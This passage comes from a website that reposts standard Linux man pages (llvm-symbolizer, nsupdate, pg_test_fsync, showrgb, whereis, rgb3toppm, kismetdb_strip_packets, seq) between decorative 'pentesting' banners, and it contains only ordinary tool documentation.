        "Column": 3,
        "Discriminator": 0,
        "FileName": "/tmp/test.cpp",
        "FunctionName": "foo()",
        "Line": 6,
        "StartAddress": "0x400486",
        "StartFileName": "/tmp/test.cpp",
        "StartLine": 5
      }
    ]
  }
]

–pretty-print, -p
Print human readable output. If –inlining is specified, the enclosing scope is prefixed by (inlined by). For JSON output, the option will cause JSON to be indented and split over new lines. Otherwise, the JSON output will be printed in a compact form.

$ llvm-symbolizer –obj=inlined.elf 0x4004be –inlining –pretty-print baz() at /tmp/test.cpp:11:18 (inlined by) main at /tmp/test.cpp:15:0

–print-address, –addresses, -a
Print address before the source code location. Defaults to false.

$ llvm-symbolizer –obj=inlined.elf –print-address 0x4004be 0x4004be baz() /tmp/test.cpp:11:18 main /tmp/test.cpp:15:0

$ llvm-symbolizer --obj=inlined.elf 0x4004be --pretty-print --print-address
0x4004be: baz() at /tmp/test.cpp:11:18
 (inlined by) main at /tmp/test.cpp:15:0

–print-source-context-lines <N>
Print N lines of source context for each symbolized address.

$ llvm-symbolizer –obj=test.elf 0x400490 –print-source-context-lines=3 baz() /tmp/test.cpp:11:0 10 : volatile int k = 42; 11 >: return foz() + k; 12 : }

–relativenames
Print the file’s path relative to the compilation directory, instead of the absolute path. If the command-line to the compiler included the full path, this will be the same as the default.

–verbose
Print verbose address, line and column information.

$ llvm-symbolizer –obj=inlined.elf –verbose 0x4004be baz() Filename: /tmp/test.cpp Function start filename: /tmp/test.cpp Function start line: 9 Function start address: 0x4004b6 Line: 11 Column: 18 main Filename: /tmp/test.cpp Function start filename: /tmp/test.cpp Function start line: 14 Function start address: 0x4004b0 Line: 15 Column: 18

–version, -v
Print version information for the tool.

@<FILE>
Read command-line options from response file <FILE>.

WINDOWS/PDB SPECIFIC OPTIONS

–dia
Use the Windows DIA SDK for symbolization. If the DIA SDK is not found, llvm-symbolizer will fall back to the native implementation.

MACH-O SPECIFIC OPTIONS

–default-arch <arch>
If a binary contains object files for multiple architectures (e.g. it is a Mach-O universal binary), symbolize the object file for a given architecture. You can also specify the architecture by writing binary_name:arch_name in the input (see example below). If the architecture is not specified in either way, the address will not be symbolized. Defaults to empty string.

$ cat addr.txt /tmp/mach_universal_binary:i386 0x1f84 /tmp/mach_universal_binary:x86_64 0x100000f24

$ llvm-symbolizer < addr.txt
_main
/tmp/source_i386.cc:8

_main
/tmp/source_x86_64.cc:8

–dsym-hint <path/to/file.dSYM>
If the debug info for a binary isn’t present in the default location, look for the debug info at the .dSYM path provided via this option. This flag can be used multiple times.

EXIT STATUS

llvm-symbolizer returns 0. Other exit codes imply an internal program error.

SEE ALSO

llvm-addr2line(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

728 - Linux cli command nsupdate

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nsupdate and provides detailed information about the command nsupdate, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nsupdate.

NAME 🖥️ nsupdate 🖥️

dynamic DNS update utility

SYNOPSIS

nsupdate [-d] [-D] [-i] [-L level] [ [-g] | [-o] | [-l] | [-y [hmac:]keyname:secret] | [-k keyfile] ] [ [-S] [-K tlskeyfile] [-E tlscertfile] [-A tlscafile] [-H tlshostname] [-O] ] [-t timeout] [-u udptimeout] [-r udpretries] [-v] [-T] [-P] [-V] [ [-4] | [-6] ] [filename]

DESCRIPTION

nsupdate is used to submit Dynamic DNS Update requests, as defined in RFC 2136, to a name server. This allows resource records to be added or removed from a zone without manually editing the zone file. A single update request can contain requests to add or remove more than one resource record.

Zones that are under dynamic control via nsupdate or a DHCP server should not be edited by hand. Manual edits could conflict with dynamic updates and cause data to be lost.

The resource records that are dynamically added or removed with nsupdate must be in the same zone. Requests are sent to the zone’s primary server, which is identified by the MNAME field of the zone’s SOA record.

Transaction signatures can be used to authenticate the Dynamic DNS updates. These use the TSIG resource record type described in RFC 2845, the SIG(0) record described in RFC 2535 and RFC 2931, or GSS-TSIG as described in RFC 3645.

TSIG relies on a shared secret that should only be known to nsupdate and the name server. For instance, suitable key and server statements are added to /etc/bind/named.conf so that the name server can associate the appropriate secret key and algorithm with the IP address of the client application that is using TSIG authentication. ddns-confgen can generate suitable configuration fragments. nsupdate uses the -y or -k options to provide the TSIG shared secret; these options are mutually exclusive.

SIG(0) uses public key cryptography. To use a SIG(0) key, the public key must be stored in a KEY record in a zone served by the name server.

GSS-TSIG uses Kerberos credentials. Standard GSS-TSIG mode is switched on with the -g flag. A non-standards-compliant variant of GSS-TSIG used by Windows 2000 can be switched on with the -o flag.

OPTIONS

-4
This option sets use of IPv4 only.

-6
This option sets use of IPv6 only.

-A tlscafile
This option specifies the file of the certificate authorities (CA) certificates (in PEM format) in order to verify the remote server TLS certificate when using DNS-over-TLS (DoT), to achieve Strict or Mutual TLS. When used, it will override the certificates from the global certificates store, which are otherwise used by default when -S is enabled. This option can not be used in conjuction with -O, and it implies -S.

-C
Overrides the default resolv.conf file. This is only intended for testing.

-d
This option sets debug mode, which provides tracing information about the update requests that are made and the replies received from the name server.

-D
This option sets extra debug mode.

-E tlscertfile
This option sets the certificate(s) file for authentication for the DNS-over-TLS (DoT) transport to the remote server. The certificate chain file is expected to be in PEM format. This option implies -S, and can only be used with -K.

-g
This option enables standard GSS-TSIG mode.

-H tlshostname
This option makes nsupdate use the provided hostname during remote server TLS certificate verification. Otherwise, the DNS server name is used. This option implies -S.

-i
This option forces interactive mode, even when standard input is not a terminal.

-k keyfile
This option indicates the file containing the TSIG authentication key. Keyfiles may be in two formats: a single file containing a named.conf-format key statement, which may be generated automatically by ddns-confgen; or a pair of files whose names are of the format K{name}.+157.+{random}.key and K{name}.+157.+{random}.private, which can be generated by dnssec-keygen. The -k option can also be used to specify a SIG(0) key used to authenticate Dynamic DNS update requests. In this case, the key specified is not an HMAC-MD5 key.

-K tlskeyfile
This option sets the key file for authenticated encryption for the DNS-over-TLS (DoT) transport with the remote server. The private key file is expected to be in PEM format. This option implies -S, and can only be used with -E.

-l
This option sets local-host only mode, which sets the server address to localhost (disabling the server so that the server address cannot be overridden). Connections to the local server use a TSIG key found in /run/session.key, which is automatically generated by named if any local primary zone has set update-policy to local. The location of this key file can be overridden with the -k option.

-L level
This option sets the logging debug level. If zero, logging is disabled.

-o
This option is deprecated. Previously, it enabled a non-standards-compliant variant of GSS-TSIG that was used by Windows 2000. Since that OS is now long past its end of life, this option is now treated as a synonym for -g.

-O
This option enables Opportunistic TLS. When used, the remote peer’s TLS certificate will not be verified. This option should be used for debugging purposes only, and it is not recommended to use it in production. This option can not be used in conjuction with -A, and it implies -S.

-p port
This option sets the port to use for connections to a name server. The default is 53.

-P
This option prints the list of private BIND-specific resource record types whose format is understood by nsupdate. See also the -T option.

-r udpretries
This option sets the number of UDP retries. The default is 3. If zero, only one update request is made.

-S
This option indicates whether to use DNS-over-TLS (DoT) when querying name servers specified by server servername port syntax in the input file, and the primary server discovered through a SOA request. When the -K and -E options are used, then the specified TLS client certificate and private key pair are used for authentication (Mutual TLS). This option implies -v.

-t timeout
This option sets the maximum time an update request can take before it is aborted. The default is 300 seconds. If zero, the timeout is disabled for TCP mode. For UDP mode, the option -u takes precedence over this option, unless the option -u is set to zero, in which case the interval is computed from the -t timeout interval and the number of UDP retries. For UDP mode, the timeout can not be disabled, and will be rounded up to 1 second in case if both -t and -u are set to zero.

-T
This option prints the list of IANA standard resource record types whose format is understood by nsupdate. nsupdate exits after the lists are printed. The -T option can be combined with the -P option.

Other types can be entered using TYPEXXXXX where XXXXX is the decimal value of the type with no leading zeros. The rdata, if present, is parsed using the UNKNOWN rdata format, (<backslash> <hash> <space> <length> <space> <hexstring>).

-u udptimeout
This option sets the UDP retry interval. The default is 3 seconds. If zero, the interval is computed from the timeout interval and number of UDP retries.

-v
This option specifies that TCP should be used even for small update requests. By default, nsupdate uses UDP to send update requests to the name server unless they are too large to fit in a UDP request, in which case TCP is used. TCP may be preferable when a batch of update requests is made.

-V
This option prints the version number and exits.

-y [hmac:]keyname:secret
This option sets the literal TSIG authentication key. keyname is the name of the key, and secret is the base64 encoded shared secret. hmac is the name of the key algorithm; valid choices are hmac-md5, hmac-sha1, hmac-sha224, hmac-sha256, hmac-sha384, or hmac-sha512. If hmac is not specified, the default is hmac-md5, or if MD5 was disabled, hmac-sha256.

NOTE: Use of the -y option is discouraged because the shared secret is supplied as a command-line argument in clear text. This may be visible in the output from ps1 or in a history file maintained by the user’s shell.

INPUT FORMAT

nsupdate reads input from filename or standard input. Each command is supplied on exactly one line of input. Some commands are for administrative purposes; others are either update instructions or prerequisite checks on the contents of the zone. These checks set conditions that some name or set of resource records (RRset) either exists or is absent from the zone. These conditions must be met if the entire update request is to succeed. Updates are rejected if the tests for the prerequisite conditions fail.

Every update request consists of zero or more prerequisites and zero or more updates. This allows a suitably authenticated update request to proceed if some specified resource records are either present or missing from the zone. A blank input line (or the send command) causes the accumulated commands to be sent as one Dynamic DNS update request to the name server.

The command formats and their meanings are as follows:

server servername port
This command sends all dynamic update requests to the name server servername. When no server statement is provided, nsupdate sends updates to the primary server of the correct zone. The MNAME field of that zone’s SOA record identify the primary server for that zone. port is the port number on servername where the dynamic update requests are sent. If no port number is specified, the default DNS port number of 53 is used.

NOTE:

This command has no effect when GSS-TSIG is in use.

local address port
This command sends all dynamic update requests using the local address. When no local statement is provided, nsupdate sends updates using an address and port chosen by the system. port can also be used to force requests to come from a specific port. If no port number is specified, the system assigns one.

zone zonename
This command specifies that all updates are to be made to the zone zonename. If no zone statement is provided, nsupdate attempts to determine the correct zone to update based on the rest of the input.

class classname
This command specifies the default class. If no class is specified, the default class is IN.

ttl seconds
This command specifies the default time-to-live, in seconds, for records to be added. The value none clears the default TTL.

key hmac:keyname secret
This command specifies that all updates are to be TSIG-signed using the keyname-secret pair. If hmac is specified, it sets the signing algorithm in use. The default is hmac-md5; if MD5 was disabled, the default is hmac-sha256. The key command overrides any key specified on the command line via -y or -k.

gsstsig
This command uses GSS-TSIG to sign the updates. This is equivalent to specifying -g on the command line.

oldgsstsig
This command is deprecated and will be removed in a future release. Previously, it caused nsupdate to use the Windows 2000 version of GSS-TSIG to sign updates. It is now treated as a synonym for gsstsig.

realm [realm_name]
When using GSS-TSIG, this command specifies the use of realm_name rather than the default realm in krb5.conf. If no realm is specified, the saved realm is cleared.

check-names [boolean]
This command turns on or off check-names processing on records to be added. Check-names has no effect on prerequisites or records to be deleted. By default check-names processing is on. If check-names processing fails, the record is not added to the UPDATE message.

check-svbc [boolean]
This command turns on or off check-svcb processing on records to be added. Check-svcb has no effect on prerequisites or records to be deleted. By default check-svcb processing is on. If check-svcb processing fails, the record is not added to the UPDATE message.

lease time [keytime]
Set the EDNS Update Lease (UL) option to value to time and optionally also set the key lease time to keytime in seconds. If time is none the lease times are cleared.

prereq nxdomain domain-name
This command requires that no resource record of any type exist with the name domain-name.

prereq yxdomain domain-name
This command requires that domain-name exist (as at least one resource record, of any type).

prereq nxrrset domain-name class type
This command requires that no resource record exist of the specified type, class, and domain-name. If class is omitted, IN (Internet) is assumed.

prereq yxrrset domain-name class type
This command requires that a resource record of the specified type, class and domain-name exist. If class is omitted, IN (internet) is assumed.

prereq yxrrset domain-name class type data
With this command, the data from each set of prerequisites of this form sharing a common type, class, and domain-name are combined to form a set of RRs. This set of RRs must exactly match the set of RRs existing in the zone at the given type, class, and domain-name. The data are written in the standard text representation of the resource record’s RDATA.

update delete domain-name ttl class type data
This command deletes any resource records named domain-name. If type and data are provided, only matching resource records are removed. The Internet class is assumed if class is not supplied. The ttl is ignored, and is only allowed for compatibility.

update add domain-name ttl class type data
This command adds a new resource record with the specified ttl, class, and data.

show
This command displays the current message, containing all of the prerequisites and updates specified since the last send.

send
This command sends the current message. This is equivalent to entering a blank line.

answer
This command displays the answer.

debug
This command turns on debugging.

version
This command prints the version number.

help
This command prints a list of commands.

Lines beginning with a semicolon (;) are comments and are ignored.

EXAMPLES

The examples below show how nsupdate can be used to insert and delete resource records from the example.com zone. Notice that the input in each example contains a trailing blank line, so that a group of commands is sent as one dynamic update request to the primary name server for example.com.

nsupdate

> update delete oldhost.example.com A
> update add newhost.example.com 86400 A 172.16.1.1
> send

Any A records for oldhost.example.com are deleted, and an A record for newhost.example.com with IP address 172.16.1.1 is added. The newly added record has a TTL of 1 day (86400 seconds).

nsupdate

> prereq nxdomain nickname.example.com
> update add nickname.example.com 86400 CNAME somehost.example.com
> send

The prerequisite condition tells the name server to verify that there are no resource records of any type for nickname.example.com. If there are, the update request fails. If this name does not exist, a CNAME for it is added. This ensures that when the CNAME is added, it cannot conflict with the long-standing rule in RFC 1034 that a name must not exist as any other record type if it exists as a CNAME. (The rule has been updated for DNSSEC in RFC 2535 to allow CNAMEs to have RRSIG, DNSKEY, and NSEC records.)

FILES

/etc/resolv.conf
Used to identify the default name server

/run/session.key
Sets the default TSIG key for use in local-only mode

K{name}.+157.+{random}.key
Base-64 encoding of the HMAC-MD5 key created by dnssec-keygen.

K{name}.+157.+{random}.private
Base-64 encoding of the HMAC-MD5 key created by dnssec-keygen.

SEE ALSO

RFC 2136, RFC 3007, RFC 2104, RFC 2845, RFC 1034, RFC 2535, RFC 2931, named(8), dnssec-keygen(8), tsig-keygen(8).

BUGS

The TSIG key is redundantly stored in two separate files. This is a consequence of nsupdate using the DST library for its cryptographic operations, and may change in future releases.

AUTHOR

Internet Systems Consortium

COPYRIGHT

2024, Internet Systems Consortium

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

729 - Linux cli command pg_test_fsync

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_test_fsync and provides detailed information about the command pg_test_fsync, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_test_fsync.

NAME 🖥️ pg_test_fsync 🖥️

determine fastest wal_sync_method for PostgreSQL

SYNOPSIS

pg_test_fsync [option…]

DESCRIPTION

pg_test_fsync is intended to give you a reasonable idea of what the fastest wal_sync_method is on your specific system, as well as supplying diagnostic information in the event of an identified I/O problem. However, differences shown by pg_test_fsync might not make any significant difference in real database throughput, especially since many database servers are not speed-limited by their write-ahead logs. pg_test_fsync reports average file sync operation time in microseconds for each wal_sync_method, which can also be used to inform efforts to optimize the value of commit_delay.

OPTIONS

pg_test_fsync accepts the following command-line options:

-f
–filename

Specifies the file name to write test data in. This file should be in the same file system that the pg_wal directory is or will be placed in. (pg_wal contains the WAL files.) The default is pg_test_fsync.out in the current directory.

-s
–secs-per-test

Specifies the number of seconds for each test. The more time per test, the greater the tests accuracy, but the longer it takes to run. The default is 5 seconds, which allows the program to complete in under 2 minutes.

-V
–version

Print the pg_test_fsync version and exit.

-?
–help

Show help about pg_test_fsync command line arguments, and exit.

ENVIRONMENT

The environment variable PG_COLOR specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

SEE ALSO

postgres(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

730 - Linux cli command showrgb

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command showrgb and provides detailed information about the command showrgb, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the showrgb.

NAME 🖥️ showrgb 🖥️

display an rgb color-name database

SYNOPSIS

showrgb [ database ]

DESCRIPTION

The showrgb program reads an rgb color-name database from a text file and converts it back to source form, printing the result to standard output. The default database is the one that X was built with, and may be overridden on the command line. Specify the database name without the .txt, .pag or .dir suffix.

FILES

/usr/share/X11/rgb
default database.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

731 - Linux cli command whereis

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command whereis and provides detailed information about the command whereis, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the whereis.

NAME 🖥️ whereis 🖥️

locate the binary, source, and manual page files for a command

SYNOPSIS

whereis [options] [-BMS directory-f] name

DESCRIPTION

whereis locates the binary, source and manual files for the specified command names. The supplied names are first stripped of leading pathname components. Prefixes of s. resulting from use of source code control are also dealt with. whereis then attempts to locate the desired program in the standard Linux places, and in the places specified by $PATH and $MANPATH.

The search restrictions (options -b, -m and -s) are cumulative and apply to the subsequent name patterns on the command line. Any new search restriction resets the search mask. For example,

whereis -bm ls tr -m gcc

searches for “ls” and “tr” binaries and man pages, and for “gcc” man pages only.

The options -B, -M and -S reset search paths for the subsequent name patterns. For example,

whereis -m ls -M /usr/share/man/man1 -f cal

searches for “ls” man pages in all default paths, but for “cal” in the /usr/share/man/man1 directory only.

OPTIONS

-b

Search for binaries.

-m

Search for manuals.

-s

Search for sources.

-u

Only show the command names that have unusual entries. A command is said to be unusual if it does not have just one entry of each explicitly requested type. Thus whereis -m -u * asks for those files in the current directory which have no documentation file, or more than one.

-B list

Limit the places where whereis searches for binaries, by a whitespace-separated list of directories.

-M list

Limit the places where whereis searches for manuals and documentation in Info format, by a whitespace-separated list of directories.

-S list

Limit the places where whereis searches for sources, by a whitespace-separated list of directories.

-f

Terminates the directory list and signals the start of filenames. It must be used when any of the -B, -M, or -S options is used.

-l

Output the list of effective lookup paths that whereis is using. When none of -B, -M, or -S is specified, the option will output the hard-coded paths that the command was able to find on the system.

-g

Interpret the next names as a glob(7) patterns. whereis always compares only filenames (aka basename) and never complete path. Using directory names in the pattern has no effect. Don’t forget that the shell interprets the pattern when specified on the command line without quotes. It’s necessary to use quotes for the name, for example:

whereis -g find*

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

FILE SEARCH PATHS

By default whereis tries to find files from hard-coded paths, which are defined with glob patterns. The command attempts to use the contents of $PATH and $MANPATH environment variables as default search path. The easiest way to know what paths are in use is to add the -l listing option. Effects of the -B, -M, and -S are displayed with -l.

ENVIRONMENT

WHEREIS_DEBUG=all

enables debug output.

EXAMPLES

To find all files in /usr/bin which are not documented in /usr/man/man1 or have no source in /usr/src:

cd /usr/bin
whereis -u -ms -M /usr/man/man1 -S /usr/src -f *

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The whereis command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

732 - Linux cli command rgb3toppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rgb3toppm and provides detailed information about the command rgb3toppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rgb3toppm.

.

NAME 🖥️ rgb3toppm 🖥️

combine three PGM images (R, G, B) into one PPM image

SYNOPSIS

rgb3toppm redpgmfile greenpgmfile bluepgmfile

DESCRIPTION

This program is part of Netpbm(1) .

rgb3toppm reads three PGM images as input, taking each to represent one component (red, green, and blue) of a color image. It produces a PPM image as output.

OPTIONS

There are no command line options defined specifically for rgb3toppm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

ppmtorgb3(1) , pamstack(1) , pgmtoppm(1) , ppmtopgm(1) , ppm(1) , pgm(1)

AUTHOR

Copyright (C) 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/rgb3toppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

733 - Linux cli command kismetdb_strip_packets

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command kismetdb_strip_packets and provides detailed information about the command kismetdb_strip_packets, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the kismetdb_strip_packets.

NAME 🖥️ kismetdb_strip_packets 🖥️

simple tool for stripping the packet data from a KismetDB log file

SYNOPSIS

kismetdb_strip_packets [OPTION]

OPTIONS

-i, –in [filename]
Input kismetdb file

-o, –out [filename]
Output kismetdb file with packet content stripped

-v, –verbose
Verbose output

-f, –force
Force writing to the target file, even if it exists.

SEE ALSO

The full documentation for Kismet is maintained in a separate package kismet-docs. More information here: https://www.kismetwireless.net/docs

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

734 - Linux cli command seq

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command seq and provides detailed information about the command seq, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the seq.

NAME 🖥️ seq 🖥️

print a sequence of numbers

SYNOPSIS

seq [OPTION]… LAST
seq [OPTION]… FIRST LAST
seq [OPTION]… FIRST INCREMENT LAST

DESCRIPTION

Print numbers from FIRST to LAST, in steps of INCREMENT.

Mandatory arguments to long options are mandatory for short options too.

-f, –format=FORMAT
use printf style floating-point FORMAT

-s, –separator=STRING
use STRING to separate numbers (default: )

-w, –equal-width
equalize width by padding with leading zeroes

–help
display this help and exit

–version
output version information and exit

If FIRST or INCREMENT is omitted, it defaults to 1. That is, an omitted INCREMENT defaults to 1 even when LAST is smaller than FIRST. The sequence of numbers ends when the sum of the current number and INCREMENT would become greater than LAST. FIRST, INCREMENT, and LAST are interpreted as floating point values. INCREMENT is usually positive if FIRST is smaller than LAST, and INCREMENT is usually negative if FIRST is greater than LAST. INCREMENT must not be 0; none of FIRST, INCREMENT and LAST may be NaN. FORMAT must be suitable for printing one argument of type ‘double’; it defaults to %.PRECf if FIRST, INCREMENT, and LAST are all fixed point decimal numbers with maximum precision PREC, and to %g otherwise.

AUTHOR

Written by Ulrich Drepper.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/seq>
or available locally via: info ‘(coreutils) seq invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
